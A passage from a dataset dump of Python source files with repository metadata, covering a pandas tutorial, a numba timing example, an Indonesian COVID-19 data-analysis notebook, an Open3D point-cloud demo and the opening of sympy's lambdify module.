1295, "alphanum_fraction": 0.7356003796, "include": true, "reason": "import numpy", "num_tokens": 17054, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3522017684487511, "lm_q2_score": 0.15610489155639232, "lm_q1q2_score": 0.05498041886966189}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Data analyses  with Python & Jupyter\n\n# ## Introduction\n# \n# You can do complex biological data manipulation and analyses using the `pandas` python package (or by switching kernels, using `R`!)\n# \n# We will look at pandas here, which provides `R`-like functions for data manipulation and analyses. `pandas` is built on top of NumPy. Most importantly, it offers an R-like `DataFrame` object: a multidimensional array with explicit row and column names that can contain heterogeneous types of data as well as  missing values, which would not be possible using numpy arrays.\n# \n# `pandas` also implements a number of powerful data operations for filtering, grouping and reshaping data similar to R or spreadsheet programs.\n\n# ## Installing Pandas\n# \n# `pandas` requires NumPy. See the [Pandas documentation](http://pandas.pydata.org/).\n# If you installed Anaconda, you already have Pandas installed. Otherwise, you can `sudo apt install` it.\n# \n# Assuming `pandas` is installed, you can import it and check the version:\n\n# In[1]:\n\n\nimport pandas as pd\npd.__version__\n\n\n# Also import scipy: \n\n# In[4]:\n\n\nimport scipy as sc\n\n\n# ### Reminder about tabbing and help!\n# \n# As you read through these chapters, don't forget that Jupyter gives you the ability to quickly explore the contents of a package or methods applicable to an an object by using the tab-completion feature. Also documentation of various functions can be accessed using the ``?`` character. For example, to display all the contents of the pandas namespace, you can type\n# \n# ```ipython\n# In [1]: pd.<TAB>\n# ```\n# \n# And to display Pandas's built-in documentation, you can use this:\n# \n# ```ipython\n# In [2]: pd?\n# ```\n\n# ## Pandas `dataframes`\n# \n# The dataframes is the main data object in pandas. \n# \n# ### importing data\n# Dataframes can be created from multiple sources - e.g. CSV files, excel files, and JSON.\n\n# In[2]:\n\n\nMyDF = pd.read_csv('../data/testcsv.csv', sep=',')\nMyDF\n\n\n# ### Creating dataframes\n# \n# You can also create dataframes using a python dictionary like syntax: \n\n# In[5]:\n\n\nMyDF = pd.DataFrame({\n   'col1': ['Var1', 'Var2', 'Var3', 'Var4'],\n   'col2': ['Grass', 'Rabbit', 'Fox', 'Wolf'],\n   'col3': [1, 2, sc.nan, 4]\n})\n\nMyDF\n\n\n# ### Examining your data\n\n# In[6]:\n\n\n# Displays the top 5 rows. Accepts an optional int parameter - num. of rows to show\nMyDF.head()\n\n\n# In[7]:\n\n\n# Similar to head, but displays the last rows\nMyDF.tail()\n\n\n# In[8]:\n\n\n# The dimensions of the dataframe as a (rows, cols) tuple\nMyDF.shape\n\n\n# In[15]:\n\n\n# The number of columns. Equal to df.shape[0]\nlen(MyDF) \n\n\n# In[16]:\n\n\n# An array of the column names\nMyDF.columns \n\n\n# In[17]:\n\n\n# Columns and their types\nMyDF.dtypes\n\n\n# In[18]:\n\n\n# Converts the frame to a two-dimensional table\nMyDF.values \n\n\n# In[9]:\n\n\n# Displays descriptive stats for all columns\nMyDF.describe()\n\n\n# OK, I am going to stop this brief intro to Jupyter with pandas here! I think you can already see the potential value of Jupyter for data analyses and visualization. As I mentioned above, you can also use R (e.g., using `tidyr` + `ggplot`) for this. \n\n# ## Readings and Resources\n# \n# * [Python Data Science Handbook](https://github.com/jakevdp/PythonDataScienceHandbook)\n# * A [Jupyter + pandas quickstart tutorial](http://nikgrozev.com/2015/12/27/pandas-in-jupyter-quickstart-and-useful-snippets/)\n", "meta": {"hexsha": "5318f1d7e1182919d1ea6aa92d78a77ff483da9e", "size": 3378, "ext": "py", "lang": "Python", "max_stars_repo_path": "content/_build/jupyter_execute/notebooks/Appendix-Data-Python.py", "max_stars_repo_name": "nesbitm/VBiTE_2021", "max_stars_repo_head_hexsha": "3c8e54d4878ff3f9b9272da73c3c8700902ddb21", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 25, "max_stars_repo_stars_event_min_datetime": "2018-10-03T08:48:07.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-15T21:26:35.000Z", "max_issues_repo_path": "content/_build/jupyter_execute/notebooks/Appendix-Data-Python.py", "max_issues_repo_name": "nesbitm/VBiTE_2021", "max_issues_repo_head_hexsha": "3c8e54d4878ff3f9b9272da73c3c8700902ddb21", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 52, "max_issues_repo_issues_event_min_datetime": "2020-10-02T05:33:56.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-11T11:44:01.000Z", "max_forks_repo_path": "content/_build/jupyter_execute/notebooks/Appendix-Data-Python.py", "max_forks_repo_name": "nesbitm/VBiTE_2021", "max_forks_repo_head_hexsha": "3c8e54d4878ff3f9b9272da73c3c8700902ddb21", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 63, "max_forks_repo_forks_event_min_datetime": "2017-12-04T14:08:29.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-09T11:37:36.000Z", "avg_line_length": 23.4583333333, "max_line_length": 374, "alphanum_fraction": 0.7063351095, "include": true, "reason": "import scipy", "num_tokens": 897, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38121956625614994, "lm_q2_score": 0.14414884751767365, "lm_q1q2_score": 0.05495236112701145}}
{"text": "\n# Copyright 2021 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom numba import njit\nimport numpy as np\nimport dpctl\nimport timeit\n\n\ndef f1(a, b,c,N):\n   for i in range(N):    \n    c[i] = a[i] + b[i]    \n    \n\nN = 500000\na = np.ones(N, dtype=np.float32)\nb = np.ones(N, dtype=np.float32)\nc = np.zeros(N,dtype=np.float32)\n\nt = timeit.Timer(lambda: f1(a,b,c,N))\nprint(\"Time to calculate the sum in Serial\",t.timeit(200),\"seconds\")\nprint(c)\n", "meta": {"hexsha": "36794e583384c2839bbf4eb5b304613f9e1da914", "size": 959, "ext": "py", "lang": "Python", "max_stars_repo_path": "AI-and-Analytics/Jupyter/Numba_DPPY_Essentials_training/01_DPPY_Intro/lab/serial_python.py", "max_stars_repo_name": "abijaz/oneAPI-samples", "max_stars_repo_head_hexsha": "41aca6740afbccb5bd5b56d318fda151457a5199", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-01-06T02:50:30.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-06T02:50:30.000Z", "max_issues_repo_path": "AI-and-Analytics/Jupyter/Numba_DPPY_Essentials_training/01_DPPY_Intro/lab/serial_python.py", "max_issues_repo_name": "abijaz/oneAPI-samples", "max_issues_repo_head_hexsha": "41aca6740afbccb5bd5b56d318fda151457a5199", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2021-07-05T15:35:22.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-28T15:51:54.000Z", "max_forks_repo_path": "AI-and-Analytics/Jupyter/Numba_DPPY_Essentials_training/01_DPPY_Intro/lab/serial_python.py", "max_forks_repo_name": "junxnone/oneAPI-samples", "max_forks_repo_head_hexsha": "f414747b5676688d690655c6043b71577027fc19", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2020-08-24T00:36:23.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-09T03:17:48.000Z", "avg_line_length": 27.4, "max_line_length": 74, "alphanum_fraction": 0.7132429614, "include": true, "reason": "import numpy,from numba", "num_tokens": 254, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.11436853674701283, "lm_q1q2_score": 0.0549516433464782}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Warming Up!\n\n# In[1]:\n\n\nbersatulawancovid = ['cuci tangan', 'pakai masker', 'jaga jarak']\nprint(bersatulawancovid)\n\n\n# # Mengakses API covid19.go.id\n\n# In[6]:\n\n\nimport requests\n\nresp = requests.get('https://data.covid19.go.id/public/api/update.json', verify=False)\n\n\n# # Status Code\n\n# In[7]:\n\n\nprint(resp)\n\n\n# # Headers API\n\n# In[8]:\n\n\nprint(resp.headers)\n\n\n# # Mengekstrak Isi Respon\n\n# In[9]:\n\n\ncov_id_raw = resp.json()\n\n\n# # Mengekstrak isi Respon - 2\n\n# In[12]:\n\n\nprint('Length of cov_id_raw : %d.' %len(cov_id_raw))\nprint('Komponen cov_id_raw  : %s.' %cov_id_raw.keys())\ncov_id_update = cov_id_raw['update']\n\n\n# # Analisa Data\n\n# In[22]:\n\n\nprint('Tanggal pembaharuan data penambahan kasus   :', cov_id_update['penambahan']['tanggal'])\nprint('Jumlah penambahan kasus sembuh :', cov_id_update['penambahan']['jumlah_sembuh'])\nprint('Jumlah penambahan kasus meninggal :', cov_id_update['penambahan']['jumlah_meninggal'])\nprint('Jumlah total kasus positif hingga saat ini :', cov_id_update['total']['jumlah_positif'])\nprint('Jumlah total kasus meninggal hingga saat ini :', cov_id_update['total']['jumlah_meninggal'])\n\n\n# # Apa Kabar Jawa Barat?\n\n# In[23]:\n\n\nresp_jabar = requests.get('https://data.covid19.go.id/public/api/prov_detail_JAWA_BARAT.json', verify=False)\ncov_jabar_raw = resp_jabar.json()\n\n\n# # Memahami Kasus COVID-19 di Jawa Barat\n\n# In[27]:\n\n\nprint('Nama-nama elemen utama:\\n', cov_jabar_raw.keys())\nprint('\\nJumlah total kasus COVID-19 di Jawa Barat : %d' %cov_jabar_raw['kasus_total'])\nprint('Persentase kematian akibat COVID-19 di Jawa Barat         : %f.2%%' %cov_jabar_raw['meninggal_persen'])\nprint('Persentase tingkat kesembuhan dari COVID-19 di Jawa Barat : %f.2%%' %cov_jabar_raw['sembuh_persen'])\n\n\n# # Memperoleh Informasi yang Lebih Lengkap\n\n# In[29]:\n\n\nimport numpy as np\nimport pandas as pd\n\ncov_jabar = pd.DataFrame(cov_jabar_raw['list_perkembangan'])\nprint('Info cov_jabar:\\n', cov_jabar.info())\nprint('\\nLima data teratas cov_jabar:\\n', cov_jabar.head())\n\n\n# # Menjinakkan Data\n\n# In[73]:\n\n\ncov_jabar_tidy = (cov_jabar.drop(columns=[item for item in cov_jabar.columns \n                                               if item.startswith('AKUMULASI') \n                                                  or item.startswith('DIRAWAT')])\n                           .rename(columns=str.lower)\n                           .rename(columns={'kasus': 'kasus_baru'})\n                  )\ncov_jabar_tidy['tanggal'] = pd.to_datetime(cov_jabar_tidy['tanggal']*1e6, unit='ns')\nprint('Lima data teratas:\\n', cov_jabar_tidy.head())\n\n\n# # Menunjukkan Melalui Gambar\n\n# In[74]:\n\n\nimport matplotlib.pyplot as plt\n\n\n# # Menunjukkan Melalui Gambar - 2\n\n# In[76]:\n\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\nax.bar(data=cov_jabar_tidy, x='tanggal', height='kasus_baru')\nplt.show()\n\n\n# # Informasi pada Grafik\n\n# In[78]:\n\n\nimport matplotlib.dates as mdates\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\nax.bar(data=cov_jabar_tidy, x='tanggal', height='kasus_baru', color='salmon')\nfig.suptitle('Kasus Harian Positif COVID-19 di Jawa Barat', \n             y=1.00, fontsize=16, fontweight='bold', ha='center')\nax.set_title('terjadi pelonjakan kasus di awal bulan Juli akibat klaster Secapa AD Bandung',\n             fontsize=10)\nax.set_xlabel('')\nax.set_ylabel('jumlah kasus')\nax.text(1, -0.3, 'Sumber data : covid.19.go.id', color='blue',\n        ha='right', transform=ax.transAxes)\nax.set_xticklabels(ax.get_xticks(), rotation=90)\n\nax.xaxis.set_major_locator(mdates.MonthLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('%b %Y'))\n\nplt.grid(axis='y')\nplt.tight_layout()\nplt.show()\n\n\n# # Grafik untuk Kasus Sembuh\n\n# In[79]:\n\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\nax.bar(data=cov_jabar_tidy, x='tanggal', height='sembuh', color='olivedrab')\nax.set_title('Kasus Harian Sembuh Dari COVID-19 di Jawa Barat',\n             fontsize=22)\nax.set_xlabel('')\nax.set_ylabel('Jumlah kasus')\nax.text(1, -0.3, 'Sumber data : covid.19.go.id', color='blue',\n        ha='right', transform=ax.transAxes)\nax.set_xticklabels(ax.get_xticks(), rotation=90)\n\nax.xaxis.set_major_locator(mdates.MonthLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('%b %Y'))\n\nplt.grid(axis='y')\nplt.tight_layout()\nplt.show()\n\n\n# # Grafik untuk Kasus Meninggal\n\n# In[80]:\n\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\nax.bar(data=cov_jabar_tidy, x='tanggal', height='meninggal', color='slategrey')\nax.set_title('Kasus Harian Meninggal Dari COVID-19 di Jawa Barat',\n             fontsize=22)\nax.set_xlabel('')\nax.set_ylabel('Jumlah Kasus')\nax.text(1, -0.3, 'Sumber data:covid.19.go.id', color='blue',\n        ha='right', transform=ax.transAxes)\nax.set_xticklabels(ax.get_xticks(), rotation=90)\n\nax.xaxis.set_major_locator(mdates.MonthLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('%b %Y'))\n\nplt.grid(axis='y')\nplt.tight_layout()\nplt.show()\n\n\n# # Apakah Pekan ini Lebih Baik?\n\n# In[84]:\n\n\ncov_jabar_pekanan = (cov_jabar_tidy .set_index('tanggal')['kasus_baru']\n                                   .resample('W')\n                                   .sum()\n                                   .reset_index()\n                                   .rename(columns={'kasus_baru': 'jumlah'})\n                    )\ncov_jabar_pekanan['tahun'] = cov_jabar_pekanan['tanggal'].apply(lambda x: x.year)\ncov_jabar_pekanan['pekan_ke'] = cov_jabar_pekanan['tanggal'].apply(lambda x: x.weekofyear)\ncov_jabar_pekanan = cov_jabar_pekanan[['tahun', 'pekan_ke', 'jumlah']]\n\nprint('Info cov_jabar_pekanan:')\nprint(cov_jabar_pekanan.info())\nprint('\\nLima data teratas cov_jabar_pekanan:\\n', cov_jabar_pekanan.head())\n\n\n# # Menjawab Pertanyaan\n\n# In[85]:\n\n\ncov_jabar_pekanan['jumlah_pekanlalu'] = cov_jabar_pekanan['jumlah'].shift().replace(np.nan, 0).astype(np.int)\ncov_jabar_pekanan['lebih_baik'] = cov_jabar_pekanan['jumlah'] < cov_jabar_pekanan['jumlah_pekanlalu']\n\nprint('Sepuluh data teratas:\\n', cov_jabar_pekanan.head(10))\n\n\n# # Membuat Bar Chart\n\n# In[87]:\n\n\nplt.clf()\njml_tahun_terjadi_covid19 = cov_jabar_pekanan['tahun'].nunique()\ntahun_terjadi_covid19 = cov_jabar_pekanan['tahun'].unique()\nfig, axes = plt.subplots(nrows=jml_tahun_terjadi_covid19,\n\t\t\t\t\t\tfigsize=(10, 3*jml_tahun_terjadi_covid19))\nfig.suptitle('Kasus Pekanan Positif COVID-19 di Jawa Barat', y=1.00, fontsize=16, fontweight='bold', ha='center')\nfor i, ax in enumerate(axes):\n\tax.bar(data=cov_jabar_pekanan.loc[cov_jabar_pekanan['tahun'] == tahun_terjadi_covid19[i]],\n\t\t  x = 'pekan_ke', height='jumlah',\n\t\t  color=['mediumseagreen' if x is True else 'salmon'\n\t\t\tfor x in cov_jabar_pekanan['lebih_baik']])\n\tif i == 0:\n\t\t\tax.set_title('Kolom hijau menunjukkan penambahan kasus baru lebih sedikit dibandingkan satu pekan sebelumnya', fontsize=10)\n\telif i == jml_tahun_terjadi_covid19 - 1:\n\t\t\t\t ax.text(1, -0.2, 'Sumber data: covid.19.go.id', color='blue', ha='right', transform=ax.transAxes)\n\t\t\t\t \n\tax.set_xlim([0, 52.5])\n\tax.set_ylim([0, max(cov_jabar_pekanan['jumlah'])])\n\tax.set_xlabel('')\n\tax.set_ylabel('Jumlah kasus %d' %(tahun_terjadi_covid19[i],))\n\tax.grid(axis='y')\n\t\nplt.tight_layout()\nplt.show()\n\n\n# # Pola dan Dinamika\n\n# In[89]:\n\n\ncov_jabar_akumulasi = cov_jabar_tidy[['tanggal']].copy()\ncov_jabar_akumulasi['akumulasi_aktif'] = (cov_jabar_tidy['kasus_baru'] - cov_jabar_tidy['sembuh'] - cov_jabar_tidy['meninggal']).cumsum()\ncov_jabar_akumulasi['akumulasi_sembuh'] = cov_jabar_tidy['sembuh'].cumsum()\ncov_jabar_akumulasi['akumulasi_meninggal'] = cov_jabar_tidy['meninggal'].cumsum()\nprint(cov_jabar_akumulasi.tail())\n\n\n# # Membuat Line Chart\n\n# In[90]:\n\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\nax.plot('tanggal', 'akumulasi_aktif', data=cov_jabar_akumulasi, lw=2)\n\nax.set_title('Akumulasi aktif COVID-19 di Jawa Barat',\n             fontsize=22)\nax.set_xlabel('')\nax.set_ylabel('Akumulasi aktif')\nax.text(1, -0.3, 'Sumber data: covid.19.go.id', color='blue',\n        ha='right', transform=ax.transAxes)\nax.set_xticklabels(ax.get_xticks(), rotation=90)\n\nax.xaxis.set_major_locator(mdates.MonthLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('%b %Y'))\n\nplt.grid()\nplt.tight_layout()\nplt.show()\n\n\n# # Tahap Terakhir\n\n# In[94]:\n\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\ncov_jabar_akumulasi_ts = cov_jabar_akumulasi.set_index('tanggal')\ncov_jabar_akumulasi_ts.plot(kind='line', ax=ax, lw=3,\n\t\t\t\t\t\t   color=['salmon','slategrey','olivedrab'])\nax.set_title('Dinamika Kasus COVID-19 di Jawa Barat', fontsize=22)\nax.set_xlabel('')\nax.set_ylabel('Akumulasi aktif')\nax.text(1, -0.3, 'Sumber data:covid.19.go.id', color='blue', ha='right',\n\t   transform=ax.transAxes)\n\nplt.grid()\nplt.tight_layout()\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "78e10881b174466091b7c98ec8fd5ccc1aab6e68", "size": 8675, "ext": "py", "lang": "Python", "max_stars_repo_path": "My Class/Python/Application in the Industry/Eksplorasi dan Analisis Data COVID-19 Indonesia using Python/Eksplorasi dan Analisis Data COVID-19 Indonesia using Python.py", "max_stars_repo_name": "vrima25/DQLab", "max_stars_repo_head_hexsha": "6409a24480a595bc37cdb71e99f70b6ce2bdfb9e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "My Class/Python/Application in the Industry/Eksplorasi dan Analisis Data COVID-19 Indonesia using Python/Eksplorasi dan Analisis Data COVID-19 Indonesia using Python.py", "max_issues_repo_name": "vrima25/DQLab", "max_issues_repo_head_hexsha": "6409a24480a595bc37cdb71e99f70b6ce2bdfb9e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "My Class/Python/Application in the Industry/Eksplorasi dan Analisis Data COVID-19 Indonesia using Python/Eksplorasi dan Analisis Data COVID-19 Indonesia using Python.py", "max_forks_repo_name": "vrima25/DQLab", "max_forks_repo_head_hexsha": "6409a24480a595bc37cdb71e99f70b6ce2bdfb9e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.7418397626, "max_line_length": 137, "alphanum_fraction": 0.6876080692, "include": true, "reason": "import numpy", "num_tokens": 2640, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.1143685322190697, "lm_q1q2_score": 0.054951641170898076}}
{"text": "import open3d as o3d \nimport numpy as np \n\n# k\u00fct\u00fcphanede sunulan \u00f6rnek bir pointcloud datas\u0131n\u0131 i\u00e7e aktarma\nply_point_cloud = o3d.data.PLYPointCloud()\npcd = o3d.io.read_point_cloud(ply_point_cloud.path)\nprint(pcd)\nprint(np.asarray(pcd.points))\n\n# \u00f6rnek datay\u0131 g\u00f6rselle\u015ftirme\no3d.visualization.draw_geometries([pcd],\n                                  zoom=0.3412,\n                                  front=[0.4257, -0.2125, -0.8795],\n                                  lookat=[2.6172, 2.0475, 1.532],\n                                  up=[-0.0694, -0.9768, 0.2024])\n\n\n\n\n# noktalar\u0131n 0.05'ini i\u00e7eren alt \u00f6rne\u011fini alma\ndownpcd = pcd.voxel_down_sample(voxel_size=0.05)\n\n# alt \u00f6rne\u011fin g\u00f6rselle\u015ftirilmesi\no3d.visualization.draw_geometries([downpcd],\n                                  zoom=0.3412,\n                                  front=[0.4257, -0.2125, -0.8795],\n                                  lookat=[2.6172, 2.0475, 1.532],\n                                  up=[-0.0694, -0.9768, 0.2024])\n\n\n\n\n\n# Noktalr\u0131n normallerinin tahmin edilmsi \ndownpcd.estimate_normals(\n    search_param=o3d.geometry.KDTreeSearchParamHybrid(radius=0.1, max_nn=30))\n\n# Normallerin g\u00f6rselle\u015ftririlmesi\no3d.visualization.draw_geometries([downpcd],\n                                  zoom=0.3412,\n                                  front=[0.4257, -0.2125, -0.8795],\n                                  lookat=[2.6172, 2.0475, 1.532],\n                                  up=[-0.0694, -0.9768, 0.2024],\n                                  point_show_normal=True)\n\n\n\n\n\n# nokta bulutundan nesnesin k\u0131rp\u0131lmas\u0131\ndemo_crop_data = o3d.data.DemoCropPointCloud()\npcd = o3d.io.read_point_cloud(demo_crop_data.point_cloud_path)\nvol = o3d.visualization.read_selection_polygon_volume(demo_crop_data.cropped_json_path)\nchair = vol.crop_point_cloud(pcd)\n\n# k\u0131rp\u0131lan g\u00f6r\u00fcnt\u00fcn\u00fcn g\u00f6rselle\u015ftirilmesi\no3d.visualization.draw_geometries([chair],\n                                  zoom=0.7,\n                                  front=[0.5439, -0.2333, -0.8060],\n                                  lookat=[2.4615, 2.1331, 1.338],\n                                  up=[-0.1781, -0.9708, 0.1608])\n\n\n\n\n\n# k\u0131rp\u0131lan nesnenin noktalar\u0131n\u0131n farkl\u0131 renkte boyanmas\u0131\nchair.paint_uniform_color([1, 0.706, 0])\n\n\n# farkl\u0131 renkte boyanm\u0131\u015f nesnenin g\u00f6rselle\u015ftirilmesi \no3d.visualization.draw_geometries([chair],\n                                  zoom=0.7,\n                                  front=[0.5439, -0.2333, -0.8060],\n                                  lookat=[2.4615, 2.1331, 1.338],\n                                  up=[-0.1781, -0.9708, 0.1608])\n\n\n\n\n\n# nesnedeki noktalar\u0131n uzakl\u0131klar\u0131 bulma \ndists = pcd.compute_point_cloud_distance(chair)\ndists = np.asarray(dists)\nind = np.where(dists > 0.01)[0]\n\n\n\n# testip edilen nesne olmadan g\u00f6r\u00fcnt\u00fcleme\n\"\"\"\npcd_without_chair = pcd.select_by_index(ind)\no3d.visualization.draw_geometries([pcd_without_chair],\n                                  zoom=0.3412,\n                                  front=[0.4257, -0.2125, -0.8795],\n                                  lookat=[2.6172, 2.0475, 1.532],\n                                  up=[-0.0694, -0.9768, 0.2024])\n\"\"\"\n\n\n\n\n# Nesnenin boundingbox i\u00e7erisine al\u0131nmas\u0131\naabb = chair.get_axis_aligned_bounding_box()\naabb.color = (1, 0, 0)\nobb = chair.get_oriented_bounding_box()\nobb.color = (0, 1, 0)\n\n# boundingbox'lar\u0131n g\u00f6rselle\u015ftirilmesi\no3d.visualization.draw_geometries([chair, aabb, obb],\n                                  zoom=0.7,\n                                  front=[0.5439, -0.2333, -0.8060],\n                                  lookat=[2.4615, 2.1331, 1.338],\n                                  up=[-0.1781, -0.9708, 0.1608])\n\n\n\n\n\n\n# Nesnenin noktalar\u0131n\u0131 bar\u0131nd\u0131ran en k\u00fc\u00e7\u00fck d\u0131\u015fb\u00fckey y\u00fczeyi tepit etme\npcl = chair\nhull, _ = pcl.compute_convex_hull()\nhull_ls = o3d.geometry.LineSet.create_from_triangle_mesh(hull)\nhull_ls.paint_uniform_color((1, 0, 0))\n\n# d\u0131\u015fb\u00fckey y\u00fczey ile g\u00f6rselle\u015ftirme\no3d.visualization.draw_geometries([pcl, hull_ls])", "meta": {"hexsha": "55b80ff85173805ce3e8948aab47065a3456d8fa", "size": 3947, "ext": "py", "lang": "Python", "max_stars_repo_path": "example.py", "max_stars_repo_name": "YEC64/Python-Open3D_pointcloud_data_processing", "max_stars_repo_head_hexsha": "9e6b6ff5b97e7dc3365c42c776db633968bf3492", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2022-02-22T18:08:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-08T18:41:45.000Z", "max_issues_repo_path": "example.py", "max_issues_repo_name": "YEC64/Python-Open3D_pointcloud_data_processing", "max_issues_repo_head_hexsha": "9e6b6ff5b97e7dc3365c42c776db633968bf3492", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "example.py", "max_forks_repo_name": "YEC64/Python-Open3D_pointcloud_data_processing", "max_forks_repo_head_hexsha": "9e6b6ff5b97e7dc3365c42c776db633968bf3492", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.0787401575, "max_line_length": 87, "alphanum_fraction": 0.5609323537, "include": true, "reason": "import numpy", "num_tokens": 1206, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.11436852920044106, "lm_q1q2_score": 0.054951639720511376}}
{"text": "\"\"\"\nThis module provides convenient functions to transform sympy expressions to\nlambda functions which can be used to calculate numerical values very fast.\n\"\"\"\n\nfrom typing import Any, Dict, Iterable\n\nimport builtins\nimport inspect\nimport keyword\nimport textwrap\nimport linecache\n\nfrom sympy.core.basic import Basic\nfrom sympy.utilities.exceptions import SymPyDeprecationWarning\nfrom sympy.core.compatibility import (is_sequence, iterable,\n    NotIterable)\nfrom sympy.utilities.misc import filldedent\nfrom sympy.utilities.decorator import doctest_depends_on\n\n__doctest_requires__ = {('lambdify',): ['numpy', 'tensorflow']}\n\n# Default namespaces, letting us define translations that can't be defined\n# by simple variable maps, like I => 1j\nMATH_DEFAULT = {}  # type: Dict[str, Any]\nMPMATH_DEFAULT = {}  # type: Dict[str, Any]\nNUMPY_DEFAULT = {\"I\": 1j}  # type: Dict[str, Any]\nSCIPY_DEFAULT = {\"I\": 1j}  # type: Dict[str, Any]\nCUPY_DEFAULT = {\"I\": 1j}  # type: Dict[str, Any]\nTENSORFLOW_DEFAULT = {}  # type: Dict[str, Any]\nSYMPY_DEFAULT = {}  # type: Dict[str, Any]\nNUMEXPR_DEFAULT = {}  # type: Dict[str, Any]\n\n# These are the namespaces the lambda functions will use.\n# These are separate from the names above because they are modified\n# throughout this file, whereas the defaults should remain unmodified.\n\nMATH = MATH_DEFAULT.copy()\nMPMATH = MPMATH_DEFAULT.copy()\nNUMPY = NUMPY_DEFAULT.copy()\nSCIPY = SCIPY_DEFAULT.copy()\nCUPY = CUPY_DEFAULT.copy()\nTENSORFLOW = TENSORFLOW_DEFAULT.copy()\nSYMPY = SYMPY_DEFAULT.copy()\nNUMEXPR = NUMEXPR_DEFAULT.copy()\n\n\n# Mappings between sympy and other modules function names.\nMATH_TRANSLATIONS = {\n    \"ceiling\": \"ceil\",\n    \"E\": \"e\",\n    \"ln\": \"log\",\n}\n\n# NOTE: This dictionary is reused in Function._eval_evalf to allow subclasses\n# of Function to automatically evalf.\nMPMATH_TRANSLATIONS = {\n    \"Abs\": \"fabs\",\n    \"elliptic_k\": \"ellipk\",\n    \"elliptic_f\": \"ellipf\",\n    \"elliptic_e\": \"ellipe\",\n    \"elliptic_pi\": \"ellippi\",\n    \"ceiling\": \"ceil\",\n    \"chebyshevt\": \"chebyt\",\n    \"chebyshevu\": \"chebyu\",\n    \"E\": \"e\",\n    \"I\": \"j\",\n    \"ln\": \"log\",\n    #\"lowergamma\":\"lower_gamma\",\n    \"oo\": \"inf\",\n    #\"uppergamma\":\"upper_gamma\",\n    \"LambertW\": \"lambertw\",\n    \"MutableDenseMatrix\": \"matrix\",\n    \"ImmutableDenseMatrix\": \"matrix\",\n    \"conjugate\": \"conj\",\n    \"dirichlet_eta\": \"altzeta\",\n    \"Ei\": \"ei\",\n    \"Shi\": \"shi\",\n    \"Chi\": \"chi\",\n    \"Si\": \"si\",\n    \"Ci\": \"ci\",\n    \"RisingFactorial\": \"rf\",\n    \"FallingFactorial\": \"ff\",\n    \"betainc_regularized\": \"betainc\",\n}\n\nNUMPY_TRANSLATIONS = {\n    \"Heaviside\": \"heaviside\",\n    }  # type: Dict[str, str]\nSCIPY_TRANSLATIONS = {}  # type: Dict[str, str]\nCUPY_TRANSLATIONS = {}  # type: Dict[str, str]\n\nTENSORFLOW_TRANSLATIONS = {}  # type: Dict[str, str]\n\nNUMEXPR_TRANSLATIONS = {}  # type: Dict[str, str]\n\n# Available modules:\nMODULES = {\n    \"math\": (MATH, MATH_DEFAULT, MATH_TRANSLATIONS, (\"from math import *\",)),\n    \"mpmath\": (MPMATH, MPMATH_DEFAULT, MPMATH_TRANSLATIONS, (\"from mpmath import *\",)),\n    \"numpy\": (NUMPY, NUMPY_DEFAULT, NUMPY_TRANSLATIONS, (\"import numpy; from 